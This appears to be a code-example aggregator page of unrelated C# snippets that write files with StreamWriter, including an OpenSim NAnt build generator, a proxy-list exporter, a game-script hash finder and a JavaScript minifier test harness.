                ss.WriteLine("	  </target>");
                ss.WriteLine();

                ss.WriteLine("	  <target name=\"mono-1.0\" description=\"Sets framework to mono 1.0\">");
                ss.WriteLine("		  <property name=\"nant.settings.currentframework\" value=\"mono-1.0\" />");
                ss.WriteLine("	  </target>");
                ss.WriteLine();

                ss.WriteLine("	  <target name=\"mono-2.0\" description=\"Sets framework to mono 2.0\">");
                ss.WriteLine("		  <property name=\"nant.settings.currentframework\" value=\"mono-2.0\" />");
                ss.WriteLine("	  </target>");
                ss.WriteLine();

                ss.WriteLine("	  <target name=\"mono-3.5\" description=\"Sets framework to mono 3.5\">");
                ss.WriteLine("        <property name=\"nant.settings.currentframework\" value=\"mono-3.5\" />");
                ss.WriteLine("    </target>");
                ss.WriteLine();

                ss.WriteLine("    <target name=\"init\" description=\"\">");
                ss.WriteLine("        <call target=\"${project.config}\" />");
                ss.WriteLine("        <property name=\"sys.os.platform\"");
                ss.WriteLine("                  value=\"${platform::get-name()}\"");
                ss.WriteLine("                  />");
                ss.WriteLine("        <echo message=\"Platform ${sys.os.platform}\" />");
                ss.WriteLine("        <property name=\"build.dir\" value=\"${bin.dir}/${project.config}\" />");
                ss.WriteLine("    </target>");
                ss.WriteLine();


                // sdague - ok, this is an ugly hack, but what it lets
                // us do is native include of files into the nant
                // created files from all .nant/*include files.  This
                // lets us keep using prebuild, but allows for
                // extended nant targets to do build and the like.

                try
                {
                    Regex         re      = new Regex(".include$");
                    DirectoryInfo nantdir = new DirectoryInfo(".nant");
                    foreach (FileSystemInfo item in nantdir.GetFileSystemInfos())
                    {
                        if (item is DirectoryInfo)
                        {
                        }
                        else if (item is FileInfo)
                        {
                            if (re.Match(item.FullName) !=
                                System.Text.RegularExpressions.Match.Empty)
                            {
                                Console.WriteLine("Including file: " + item.FullName);

                                using (FileStream fs = new FileStream(item.FullName,
                                                                      FileMode.Open,
                                                                      FileAccess.Read,
                                                                      FileShare.None))
                                {
                                    using (StreamReader sr = new StreamReader(fs))
                                    {
                                        ss.WriteLine("<!-- included from {0} -->", (item).FullName);
                                        while (sr.Peek() != -1)
                                        {
                                            ss.WriteLine(sr.ReadLine());
                                        }
                                        ss.WriteLine();
                                    }
                                }
                            }
                        }
                    }
                }
                catch { }
                // ss.WriteLine("   <include buildfile=\".nant/local.include\" />");
                //                 ss.WriteLine("    <target name=\"zip\" description=\"\">");
                //                 ss.WriteLine("       <zip zipfile=\"{0}-{1}.zip\">", solution.Name, solution.Version);
                //                 ss.WriteLine("       <fileset basedir=\"${project::get-base-directory()}\">");

                //                 ss.WriteLine("       <include name=\"${project::get-base-directory()}/**/*.cs\" />");
                //                 // ss.WriteLine("       <include name=\"${project.main.dir}/**/*\" />");
                //                 ss.WriteLine("       </fileset>");
                //                 ss.WriteLine("       </zip>");
                //                 ss.WriteLine("        <echo message=\"Building zip target\" />");
                //                 ss.WriteLine("    </target>");
                ss.WriteLine();


                ss.WriteLine("    <target name=\"clean\" description=\"\">");
                ss.WriteLine("        <echo message=\"Deleting all builds from all configurations\" />");
                //ss.WriteLine("        <delete dir=\"${dist.dir}\" failonerror=\"false\" />");

                // justincc: FIXME FIXME FIXME - A temporary OpenSim hack to clean up files when "nant clean" is executed.
                // Should be replaced with extreme prejudice once anybody finds out if the CleanFiles stuff works or there is
                // another working mechanism for specifying this stuff
                ss.WriteLine("        <delete failonerror=\"false\">");
                ss.WriteLine("        <fileset basedir=\"${bin.dir}\">");
                ss.WriteLine("            <include name=\"OpenSim*.dll\"/>");
                ss.WriteLine("            <include name=\"OpenSim*.dll.mdb\"/>");
                ss.WriteLine("            <include name=\"OpenSim*.exe\"/>");
                ss.WriteLine("            <include name=\"OpenSim*.exe.mdb\"/>");
                ss.WriteLine("            <include name=\"ScriptEngines/*\"/>");
                ss.WriteLine("            <include name=\"Physics/*.dll\"/>");
                ss.WriteLine("            <include name=\"Physics/*.dll.mdb\"/>");
                ss.WriteLine("            <exclude name=\"OpenSim.32BitLaunch.exe\"/>");
                ss.WriteLine("            <exclude name=\"ScriptEngines/Default.lsl\"/>");
                ss.WriteLine("        </fileset>");
                ss.WriteLine("        </delete>");

                if (solution.Cleanup != null && solution.Cleanup.CleanFiles.Count > 0)
                {
                    foreach (CleanFilesNode cleanFile in solution.Cleanup.CleanFiles)
                    {
                        ss.WriteLine("        <delete failonerror=\"false\">");
                        ss.WriteLine("            <fileset basedir=\"${project::get-base-directory()}\">");
                        ss.WriteLine("                <include name=\"{0}/*\"/>", cleanFile.Pattern);
                        ss.WriteLine("                <include name=\"{0}\"/>", cleanFile.Pattern);
                        ss.WriteLine("            </fileset>");
                        ss.WriteLine("        </delete>");
                    }
                }

                ss.WriteLine("        <delete dir=\"${obj.dir}\" failonerror=\"false\" />");
                foreach (ProjectNode project in solution.Projects)
                {
                    string path = Helper.MakePathRelativeTo(solution.FullPath, project.FullPath);
                    ss.Write("        <nant buildfile=\"{0}\"",
                             Helper.NormalizePath(Helper.MakeFilePath(path, project.Name + GetProjectExtension(project), "build"), '/'));
                    ss.WriteLine(" target=\"clean\" />");
                }
                ss.WriteLine("    </target>");
                ss.WriteLine();

                ss.WriteLine("    <target name=\"build\" depends=\"init\" description=\"\">");

                foreach (ProjectNode project in solution.ProjectsTableOrder)
                {
                    string path = Helper.MakePathRelativeTo(solution.FullPath, project.FullPath);
                    ss.Write("        <nant buildfile=\"{0}\"",
                             Helper.NormalizePath(Helper.MakeFilePath(path, project.Name + GetProjectExtension(project), "build"), '/'));
                    ss.WriteLine(" target=\"build\" />");
                }
                ss.WriteLine("    </target>");
                ss.WriteLine();

                ss.WriteLine("    <target name=\"build-release\" depends=\"Release, init, build\" description=\"Builds in Release mode\" />");
                ss.WriteLine();
                ss.WriteLine("    <target name=\"build-debug\" depends=\"Debug, init, build\" description=\"Builds in Debug mode\" />");
                ss.WriteLine();
                //ss.WriteLine("    <target name=\"package\" depends=\"clean, doc, copyfiles, zip\" description=\"Builds in Release mode\" />");
                ss.WriteLine("    <target name=\"package\" depends=\"clean, doc\" description=\"Builds all\" />");
                ss.WriteLine();

                ss.WriteLine("    <target name=\"doc\" depends=\"build-release\">");
                ss.WriteLine("        <echo message=\"Generating all documentation from all builds\" />");
                foreach (ProjectNode project in solution.Projects)
                {
                    string path = Helper.MakePathRelativeTo(solution.FullPath, project.FullPath);
                    ss.Write("        <nant buildfile=\"{0}\"",
                             Helper.NormalizePath(Helper.MakeFilePath(path, project.Name + GetProjectExtension(project), "build"), '/'));
                    ss.WriteLine(" target=\"doc\" />");
                }
                ss.WriteLine("    </target>");
                ss.WriteLine();
                ss.WriteLine("</project>");
            }

            m_Kernel.CurrentWorkingDirectory.Pop();
        }
示例#43
0
        public static void creatTxt(DataTable dt)
        {
            string fn = DateTime.Now.ToString("yyyyMMddHHmmss") + "-" + "PO014" + ".txt";
            //String conStr = "Provider=Microsoft.Jet.OLEDB.4.0;" + "Data Source=C:\\Users\\yangzo\\Desktop\\C5S6\\CID.xls;" + "Extended Properties=Excel 8.0;";
            //OleDbConnection con = new OleDbConnection(conStr);
            //con.Open();
            //string sql = "select code,name,type from [Sheet2$]";
            ////OleDbCommand mycom = new OleDbCommand("select * from TSD_PO014", mycon);
            ////OleDbDataReader myreader = mycom.ExecuteReader(); //也可以用Reader读取数据
            //DataSet ds = new DataSet();
            //OleDbDataAdapter oda = new OleDbDataAdapter(sql, con);
            //oda.Fill(ds, "PO014");



            //DataTable dt = ds.Tables[0];
            FileStream   fs         = new FileStream("D:\\" + fn, FileMode.Create, FileAccess.ReadWrite);
            StreamWriter strmWriter = new StreamWriter(fs, Encoding.GetEncoding("GB2312"));    //存入到文本文件中
            //把标题写入.txt文件中
            string str        = ",";
            string ColumnName = "";

            for (int i = 0; i < dt.Columns.Count; i++)
            {
                ColumnName += dt.Columns[i].ColumnName.ToString() + ",";
            }
            strmWriter.Write(ColumnName);
            strmWriter.WriteLine(); //换行

            //数据用"|"分隔开
            foreach (DataRow dr in dt.Rows)
            {
                strmWriter.Write(dr[0].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[1].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[2].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[3].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[4].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[5].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[6].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[7].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[8].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[9].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[10].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[11].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[12].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[13].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[14].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[15].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[16].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[17].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[18].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[19].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[20].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[21].ToString());
                strmWriter.Write(str);
                strmWriter.Write(dr[22].ToString());
                strmWriter.Write(str);
                strmWriter.WriteLine(); //换行
            }
            strmWriter.Flush();
            strmWriter.Close();
            //if (con.State == ConnectionState.Open)
            //{
            //    con.Close();
            //}
        }
		/// <summary>
		/// The games language files store items as hashes. This function will grab all strings in a all scripts in a directory
		/// and hash each string and them compare with a list of hashes supplied in the input box. Any matches get saved to a file STRINGS.txt in the directory
		/// </summary>
		/// <param name="sender"></param>
		/// <param name="e"></param>
		private void findHashFromStringsToolStripMenuItem_Click(object sender, EventArgs e)
		{
			InputBox IB = new InputBox();
			if (!IB.ShowList("Input Hash", "Input hash to find", this))
				return;
			uint hash;
			List<uint> Hashes = new List<uint>();
			foreach (string result in IB.ListValue)
			{

				if (result.StartsWith("0x"))
				{
					if (uint.TryParse(result.Substring(2), System.Globalization.NumberStyles.HexNumber,
						new System.Globalization.CultureInfo("en-gb"), out hash))
					{
						Hashes.Add(hash);
					}
					else
					{
						MessageBox.Show($"Error converting {result} to hash value");
					}
				}
				else
				{
					if (uint.TryParse(result, out hash))
					{
						Hashes.Add(hash);
					}
					else
					{
						MessageBox.Show($"Error converting {result} to hash value");
					}
				}
			}
			if (Hashes.Count == 0)
			{
				MessageBox.Show($"Error, no hashes inputted, please try again");
				return;
			}
			HashToFind = Hashes.ToArray();
			CompileList = new Queue<Tuple<string, bool>>();
			FoundStrings = new List<Tuple<uint, string>>();
			Program.ThreadCount = 0;
			FolderSelectDialog fsd = new FolderSelectDialog();
			if (fsd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
			{
				DateTime Start = DateTime.Now;
				this.Hide();

				foreach (string file in Directory.GetFiles(fsd.SelectedPath, "*.xsc"))
				{
					CompileList.Enqueue(new Tuple<string, bool>(file, true));
				}
				foreach (string file in Directory.GetFiles(fsd.SelectedPath, "*.csc"))
				{
					CompileList.Enqueue(new Tuple<string, bool>(file, true));
				}
				foreach (string file in Directory.GetFiles(fsd.SelectedPath, "*.ysc"))
				{
					CompileList.Enqueue(new Tuple<string, bool>(file, false));
				}
				foreach (string file in Directory.GetFiles(fsd.SelectedPath, "*.ysc.full"))
				{
					CompileList.Enqueue(new Tuple<string, bool>(file, false));
				}
				if (Program.Use_MultiThreading)
				{
					for (int i = 0; i < Environment.ProcessorCount - 1; i++)
					{
						Program.ThreadCount++;
						new System.Threading.Thread(FindString).Start();
						System.Threading.Thread.Sleep(0);
					}
					Program.ThreadCount++;
					FindString();
					while (Program.ThreadCount > 0)
					{
						System.Threading.Thread.Sleep(10);
					}
				}
				else
				{
					Program.ThreadCount++;
					FindString();
				}

				if (FoundStrings.Count == 0)
					updatestatus($"No Strings Found, Time taken: {DateTime.Now - Start}");
				else
				{
					updatestatus($"Found {FoundStrings.Count} strings, Time taken: {DateTime.Now - Start}");
					FoundStrings.Sort((x, y) => x.Item1.CompareTo(y.Item1));
					using (StreamWriter oFile = File.CreateText(Path.Combine(fsd.SelectedPath, "STRINGS.txt")))
					{
						foreach (Tuple<uint, string> Item in FoundStrings)
						{
							oFile.WriteLine($"0x{Utils.FormatHexHash(Item.Item1)} : \"{Item.Item2}\"");
						}
					}
				}
			}
			this.Show();
		}
 internal void Write(StreamWriter sw, string p)
 {
     throw new NotImplementedException();
 }
 internal void Write(StreamWriter sw, string nodeName)
 {
     sw.Write(string.Format("<{0}", nodeName));
     XmlHelper.WriteAttribute(sw, "val", this.valField);
     sw.Write("/>");
 }
示例#47
0
 public static void RouteSiphon(string siphonString)
 {
     using (StreamWriter sw = File.AppendText(@"C:\Users\gates\Documents\GatesKennedy\LMS_Recovery_Console\aolcc_versioncontrol_html\LiveExport1.txt")) sw.WriteLine(siphonString);
 }
示例#48
0
        public bool Output(ProxyGeneralType type, bool toClip, string fileLoc, bool elite, bool high, bool trans)
        {
            var success = true;

            //Populate toWrite List
            var toWrite = new List <string>();

            for (var i = 0; i < Alive.Count; ++i)
            {
                if (!Alive[i].isAlive)
                {
                    continue; //not alive
                }
                if (type == ProxyGeneralType.HTTP && Alive[i].Type != ProxyType.Http)
                {
                    continue; //not HTTP
                }
                if (type == ProxyGeneralType.SOCKS && (Alive[i].Type != ProxyType.Socks4 && Alive[i].Type != ProxyType.Socks4a && Alive[i].Type != ProxyType.Socks5))
                {
                    continue; //not a SOCK
                }
                if (type == ProxyGeneralType.SOCKS4 && (Alive[i].Type != ProxyType.Socks4 && Alive[i].Type != ProxyType.Socks4a))
                {
                    continue; //not a SOCK4
                }
                if (type == ProxyGeneralType.SOCKS5 && Alive[i].Type != ProxyType.Socks5)
                {
                    continue; //not a SOCK5
                }
                if (!trans && Alive[i].AnonLevel == Anonymity.Transparent)
                {
                    continue;
                }
                if (!high && Alive[i].AnonLevel == Anonymity.High)
                {
                    continue;
                }
                if (!elite && Alive[i].AnonLevel == Anonymity.Elite)
                {
                    continue;
                }

                toWrite.Add(Alive[i].ToString());
            }

            //Output
            if (toClip)
            {
                var sb = new StringBuilder();
                try {
                    foreach (var proxy in toWrite)
                    {
                        sb.AppendLine(proxy);
                    }
                    System.Windows.Forms.Clipboard.SetText(sb.ToString());
                } catch (ArgumentOutOfRangeException) { success = false; }
            }

            if (fileLoc != string.Empty)
            {
                var sw = new StreamWriter(fileLoc);
                try {
                    foreach (var proxy in toWrite)
                    {
                        sw.WriteLine(proxy);
                    }
                } catch (UnauthorizedAccessException) { success = false; } catch (ObjectDisposedException) { success = false; } catch (IOException) { success = false; } catch (ArgumentOutOfRangeException) { success = false; } catch (ArgumentException) { success = false; } catch (System.Security.SecurityException) { success = false; } finally {
                    if (sw != null)   //todo clean
                    {
                        sw?.Dispose();
                    }
                }
                System.Diagnostics.Process.Start(Path.GetDirectoryName(fileLoc));
            }

            return(success);
        }
示例#49
0
 public SinglePredictorWithPredictionsToFile(ISinglePredictor predictor, StreamWriter outputFileStream) : base(predictor)
 {
     OutputFileStream = outputFileStream;
 }
示例#50
0
        //  Displays Output Window and returns 
        public static List<List<StringBuilder>> Display_ToOutput(Parse_Pop _parseObj)
        {
            System.Diagnostics.Debug.WriteLine("Compiled PAGE COUNT: " + _parseObj.CompiledPages.Count());
            System.Diagnostics.Debug.WriteLine("List PAGE COUNT2: " + _parseObj.PageCount2);

            bool printCompare = false;
            bool printSection = false;
            bool printCompiled = true;

            //=========================================================
            //      Compare Single Pages (A and B)
            //=========================================================
            if (printCompare)
            {
                //  Print Page A
                System.Diagnostics.Debug.WriteLine("$$$$$$$$  PAGE A  $$$$$$$$$");
                int pageA = 786;
                int pageB = 787;

                //  Uncompiled Page A
                foreach (var line in _parseObj.PageList.ElementAt(pageA))
                {
                    System.Diagnostics.Debug.WriteLine(line);
                }
                //  Compiled Page A
                foreach (var field in _parseObj.CompiledPages.ElementAt(pageA))
                {
                    System.Diagnostics.Debug.WriteLine(field);
                }
                // Print Page B
                System.Diagnostics.Debug.WriteLine("$$$$$$$$  PAGE B  $$$$$$%$%$%$$");
                // Uncompiled Page B
                foreach (var line in _parseObj.PageList.ElementAt(pageB))
                {
                    System.Diagnostics.Debug.WriteLine(line);
                }
                //  Compiled Page B
                foreach (var field in _parseObj.CompiledPages.ElementAt(pageB))
                {
                    System.Diagnostics.Debug.WriteLine(field);
                }
                System.Diagnostics.Debug.WriteLine("$$$$$$$$$$  END SINGLE PAGE PRINT  $$$$$$$$$$");
            }

            //=========================================================
            //      Print Uncompiled Section of Pages (A-B)
            //=========================================================
            if (printSection)
            {
                int pageA = 783;
                int pageB = 788;
                int pageN = pageA;

                while (pageN <= pageB)
                {
                    System.Diagnostics.Debug.WriteLine("===============================");
                    foreach (var field in _parseObj.CompiledPages.ElementAt(pageN))
                    {
                        System.Diagnostics.Debug.WriteLine(field);
                    }
                    pageN++;
                }
                System.Diagnostics.Debug.WriteLine("$$$$$$$$$$  END SECTION PRINT  $$$$$$$$$$");
            }

            //=========================================================
            //      Print All Compiled Pages
            //=========================================================
            if (printCompiled)
            {
                //System.IO.File.Create(@"C:\Users\gates\OneDrive\Desktop");
                using (StreamWriter resultFile = new StreamWriter(@"C:\Users\gates\OneDrive\Desktop\CoolResult."))
                foreach (var page in _parseObj.SortedPages)
                {
                    System.Diagnostics.Debug.WriteLine("=============================");
                    foreach (var field in page)
                    {
                            resultFile.WriteLine(field.ToString());
                            System.Diagnostics.Debug.WriteLine(field);
                    }
                }
                System.Diagnostics.Debug.WriteLine("$$$$$$$$ END OF DISPLAY() $$$$$$%$%$%$$");
            }
            return _parseObj.SortedPages;
        }
示例#51
0
        public static void UpdateVersions(bool saveFile, bool readFromFile)
        {
            if (saveFile)
            {
                if (File.Exists(VersionsFilePath))
                {
                    JsonSerializer js = new JsonSerializer();
                    js.NullValueHandling = NullValueHandling.Ignore;
                    using (StreamWriter sw = new StreamWriter(VersionsFilePath))
                        using (JsonWriter jw = new JsonTextWriter(sw))
                        {
                            js.Serialize(jw, Versions);
                        }
                }
                else
                {
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/ForgeModBuilder"))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/ForgeModBuilder");
                    }
                    File.Create(VersionsFilePath).Dispose();
                    UpdateVersions(saveFile, readFromFile);
                }
            }
            if (readFromFile)
            {
                if (File.Exists(VersionsFilePath))
                {
                    JsonSerializer js = new JsonSerializer();
                    js.NullValueHandling = NullValueHandling.Ignore;
                    using (StreamReader sr = new StreamReader(VersionsFilePath))
                        using (JsonReader jr = new JsonTextReader(sr))
                        {
                            Versions = js.Deserialize <Dictionary <string, List <string> > >(jr);
                        }
                    if (Versions == null)
                    {
                        Versions = new Dictionary <string, List <string> >();
                    }
                    if (Versions.Keys.Count > 0)
                    {
                        Version latest = new Version(Versions.Keys.First());
                        LatestMinecraftVersion = Versions.Keys.First();
                        Version current;
                        foreach (string version in Versions.Keys)
                        {
                            current = new Version(version.Contains("_") ? version.Substring(0, version.IndexOf("_") - 1) : version);
                            if (latest.CompareTo(current) < 0)
                            {
                                LatestMinecraftVersion = version;
                                latest = new Version(LatestMinecraftVersion);
                            }
                        }
                        Console.WriteLine("Latest version: " + LatestMinecraftVersion);
                    }
                }
                else
                {
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/ForgeModBuilder"))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/ForgeModBuilder");
                    }
                    File.Create(VersionsFilePath).Dispose();
                    UpdateVersions(saveFile, readFromFile);
                }
            }
            Program.INSTANCE.SelectVersionsToCheckMenuItem.DropDownItems.Clear();
            Dictionary <string, bool> checkVersions = new Dictionary <string, bool>();

            if (Program.INSTANCE.Options.ContainsKey("sync_versions"))
            {
                checkVersions = (Dictionary <string, bool>)Program.INSTANCE.Options["sync_versions"];
            }
            foreach (string mcversion in Versions.Keys)
            {
                ToolStripMenuItem menuItem = new ToolStripMenuItem(mcversion);
                if (checkVersions.Count != 0 && checkVersions.ContainsKey(mcversion))
                {
                    menuItem.Checked = checkVersions[mcversion];
                }
                menuItem.Click += (sender, args) => {
                    menuItem.Checked = !menuItem.Checked;
                };
                Program.INSTANCE.SelectVersionsToCheckMenuItem.DropDownItems.Add(menuItem);
            }
        }
示例#52
0
 public SinglePredictorWithPredictionsToFile(ISinglePredictor predictor, string outputFileName) : base(predictor)
 {
     OutputFileName = outputFileName;
     OutputFileStream = new StreamWriter(OutputFileName);
 }
示例#53
0
        public void RunErrorTest(string settingsSwitches, params JSError[] expectedErrorArray)
        {
            // open the stack trace for this call
            StackTrace stackTrace = new StackTrace();
            string     testClass  = null;
            string     testName   = null;

            // save the name of the current method (RunTest)
            string currentMethodName = MethodInfo.GetCurrentMethod().Name;

            // loop from the previous frame up until we get a method name that is not the
            // same as the current method name
            for (int ndx = 1; ndx < stackTrace.FrameCount; ++ndx)
            {
                // get the frame
                StackFrame stackFrame = stackTrace.GetFrame(ndx);

                // we have different entry points with the same name -- we're interested
                // in the first one that ISN'T the same name as our method
                MethodBase methodBase = stackFrame.GetMethod();
                if (methodBase.Name != currentMethodName)
                {
                    // the calling method's name is the test name - we use this as-is for the output file name
                    // and we use any portion before an underscore as the input file
                    testName = methodBase.Name;
                    // get the method's class - we use this as the subfolder under input/output/expected
                    testClass = methodBase.DeclaringType.Name;
                    break;
                }
            }
            // we definitely should be able to find a function on the stack frame that
            // has a different name than this function, but just in case...
            Debug.Assert(testName != null && testClass != null, "Couldn't locate calling stack frame");

            // the input file is the portion of the test name before the underscore (if any)
            string inputFile = testName.Split('_')[0];

            // get the input and output paths
            string inputPath = GetJsPath(
                m_inputFolder,
                testClass,
                inputFile,
                false);

            Assert.IsTrue(File.Exists(inputPath), "Input File does not exist: {0}", inputPath);

            var outputPath = GetJsPath(
                m_outputFolder,
                testClass,
                testName,
                false);

            if (File.Exists(outputPath))
            {
                // if it exists already, delete it
                File.Delete(outputPath);
            }
            else
            {
                // otherwise make sure the directory exists
                Directory.CreateDirectory(Path.GetDirectoryName(outputPath));
            }

            /*int expectedErrorCode = (int)(0x800A0000 + (int)expectedError);
             * Trace.WriteLine(string.Empty);
             * Trace.WriteLine(string.Format("Expecting error 0x{0:X}", expectedErrorCode));*/

            // if we were passed a string containing command-line settings...
            var switchParser = new SwitchParser();

            if (!string.IsNullOrEmpty(settingsSwitches))
            {
                // parse the string now
                switchParser.Parse(settingsSwitches);
            }

            // read the input JS
            string jsSource;

            using (var reader = new StreamReader(inputPath, GetJSEncoding(switchParser.EncodingInputName)))
            {
                jsSource = reader.ReadToEnd();
            }

            Trace.Write("INPUT FILE: ");
            Trace.WriteLine(inputPath);
            Trace.WriteLine(jsSource);

            var testPassed        = true;
            var expectedErrorList = new List <JSError>(expectedErrorArray);

            var errorList = new List <ContextError>();
            var parser    = new JSParser();

            parser.CompilerError += (source, e) =>
            {
                errorList.Add(e.Error);
            };

            var sb = new StringBuilder();

            using (var writer = new StringWriter(sb))
            {
                if (switchParser.JSSettings.PreprocessOnly)
                {
                    parser.EchoWriter = writer;
                }

                // normal -- just run it through the parser
                var block = parser.Parse(new DocumentContext(jsSource)
                {
                    FileContext = inputPath
                }, switchParser.JSSettings);
                if (!switchParser.JSSettings.PreprocessOnly)
                {
                    // look at the settings for the proper output visitor
                    if (switchParser.JSSettings.Format == JavaScriptFormat.JSON)
                    {
                        {
                            if (!JSONOutputVisitor.Apply(writer, block, switchParser.JSSettings))
                            {
                                Trace.WriteLine("JSON OUTPUT ERRORS!");
                            }
                        }
                    }
                    else
                    {
                        OutputVisitor.Apply(writer, block, switchParser.JSSettings);
                    }
                }
            }

            var crunchedCode = sb.ToString();

            // output the crunched code using the proper output encoding
            using (var outputStream = new StreamWriter(outputPath, false, GetJSEncoding(switchParser.EncodingOutputName)))
            {
                outputStream.Write(crunchedCode);
            }

            Trace.WriteLine(string.Empty);
            Trace.WriteLine("---ERRORS---");
            foreach (var err in errorList)
            {
                Trace.WriteLine(((JSError)err.ErrorNumber).ToString());
            }

            Trace.WriteLine(string.Empty);
            Trace.Indent();
            foreach (var err in errorList)
            {
                // log the error
                Trace.WriteLine(string.Empty);
                Trace.WriteLine(string.Format("Error {0} at Line {1}, Column {2}: {3}", err.ErrorCode, err.StartLine, err.StartColumn, err.Message));
                Trace.Indent();
                Trace.WriteLine(err.Message);

                int index = expectedErrorList.IndexOf((JSError)err.ErrorNumber);
                if (index >= 0)
                {
                    // expected error -- remove it from the list so we can tell what we're missing later
                    expectedErrorList.RemoveAt(index);
                }
                else
                {
                    // unexpected error
                    testPassed = false;
                    Trace.WriteLine("UNEXPECTED");
                }
                Trace.Unindent();
            }
            Trace.Unindent();
            // the list should be empty now -- if it isn't, then there was an expected error that didn't happen
            if (expectedErrorList.Count > 0)
            {
                testPassed = false;
                Trace.WriteLine(string.Empty);
                Trace.WriteLine("---MISSING ERRORS---");
                Trace.Indent();
                foreach (JSError jsError in expectedErrorList)
                {
                    Trace.WriteLine(jsError.ToString());
                }
                Trace.Unindent();
            }

            if (!testPassed)
            {
                Trace.WriteLine("");
                Trace.WriteLine("UNEXPECTED ERROR RESULTS");
            }

            // compute the path to the expected file
            string expectedPath = GetJsPath(
                m_expectedFolder,
                testClass,
                testName,
                false);

            Trace.WriteLine(string.Empty);
            Trace.WriteLine("odd \"" + expectedPath + "\" \"" + outputPath + "\"");

            Trace.WriteLine(string.Empty);
            Trace.WriteLine("---Expected Code---");
            TraceFileContents(expectedPath);

            Trace.WriteLine(string.Empty);
            Trace.WriteLine("---Resulting Code---");
            TraceFileContents(outputPath);

            Assert.IsTrue(CompareTextFiles(outputPath, expectedPath), "The expected output ({1}) and actual output ({0}) do not match!", outputPath, expectedPath);
            Assert.IsTrue(testPassed, "Test failed");
        }
示例#54
0
文件: Program.cs 项目: NPsim/P3
        internal static void Main(string[] args)
        {
            System.Threading.Thread.CurrentThread.CurrentCulture = new System.Globalization.CultureInfo("en-US");

            // Console Size
            try {
                int Width  = Console.LargestWindowWidth >= 100 ? 100 : Console.LargestWindowWidth;
                int Height = Console.LargestWindowHeight >= 50 ? 50 : Console.LargestWindowHeight;
                Console.SetWindowSize(Width, Height);
            }
            catch { }             // Catch possible SecurityException

            // Build Dialog
            OpenFileDialog Dialog = new OpenFileDialog {
                Filter = "Pop Files|*.pop"
            };

#if DEBUG
            Dialog.InitialDirectory = @"";
#endif

            // Get Execution Safety
            SafetyLevel = Program.Config.ReadBool("bool_unsafe") ? ParserSafetyLevel.UNSAFE : ParserSafetyLevel.SAFE;

            // Launch Flags
            for (int i = 0; i < args.Length; i++)
            {
                if (args[i] == "-pop")
                {
                    Dialog.FileName         = args[i + 1];
                    LaunchArguments["-pop"] = args[i + 1];
                }
                if (args[i] == "-log")
                {
                    PrintColor.InfoLine("=====Log: {f:Cyan}{$0}{r}=====", args[i + 1]);
                    LogWriter = new StreamWriter(new FileStream(args[i + 1], FileMode.Append));
                    LaunchArguments["-log"] = args[i + 1];
                }
                if (args[i] == "--no_menu")
                {
                    NoMenu = true;
                    LaunchArguments["--no_menu"] = "1";
                }
                if (args[i] == "--auto_close")
                {
                    AutoClose = true;
                    LaunchArguments["--auto_close"] = "1";
                }
                if (args[i] == "--AF")
                {
                    Secret = true;
                    LaunchArguments["--AF"] = "1";
                }
                if (args[i] == "--time")
                {
                    ShowStopWatch             = true;
                    LaunchArguments["--time"] = "1";
                }
                if (args[i] == "--unsafe")
                {
                    SafetyLevel = ParserSafetyLevel.UNSAFE;
                    LaunchArguments["--unsafe"] = "1";
                }
                if (args[i] == "--safe")
                {
                    SafetyLevel = ParserSafetyLevel.SAFE;
                    LaunchArguments["--safe"] = "1";
                }
            }

            // Show Dialog
            if (SafetyLevel == ParserSafetyLevel.UNSAFE)
            {
                PrintColor.InfoLine("P3 v2.1.0 {b:White}{f:Black} UNSAFE MODE {r}");
            }
            else
            {
                PrintColor.InfoLine("P3 v2.1.0");
            }


            while (Dialog.FileName == "")
            {
                PrintColor.InfoLine("Select your Pop file");
                Dialog.ShowDialog();
            }
            FullPopFileDirectory    = Path.GetDirectoryName(Dialog.FileName);
            FullPopFilePath         = Dialog.FileName;
            LaunchArguments["-pop"] = Dialog.FileName;
            Console.Title           = "P3 - " + Path.GetFileName(FullPopFilePath);


            var StopWatch = System.Diagnostics.Stopwatch.StartNew();
            LineCount += File.ReadLines(FullPopFilePath).Count();

            //string FileContents = File.ReadAllText(FullPopFilePath); // Legacy input method
            //AntlrInputStream inputstream = new AntlrInputStream(FileContents);
            FileStream       FS          = new FileStream(FullPopFilePath, FileMode.Open);
            AntlrInputStream inputstream = new AntlrInputStream(FS);
            FS.Close();

            PopulationLexer lexer = new PopulationLexer(inputstream);
            lexer.RemoveErrorListeners();
            lexer.AddErrorListener(new PopulationLexerErrorListener <int>());

            CommonTokenStream tokenstream = new CommonTokenStream(lexer);

            PopulationParser parser = new PopulationParser(tokenstream);
            parser.RemoveErrorListeners();
            parser.AddErrorListener(new PopulationErrorListener());
            parser.ErrorHandler = new PopulationErrorStrategy();

            ItemDatabase.Build();
            AttributeDatabase.Build();

            PrintColor.InfoLine("Pop File - {f:Cyan}{$0}{r}", FullPopFilePath);
            PopulationParser.PopfileContext context = parser.popfile();
            PopulationVisitor visitor = new PopulationVisitor();
            visitor.Visit(context, tokenstream);

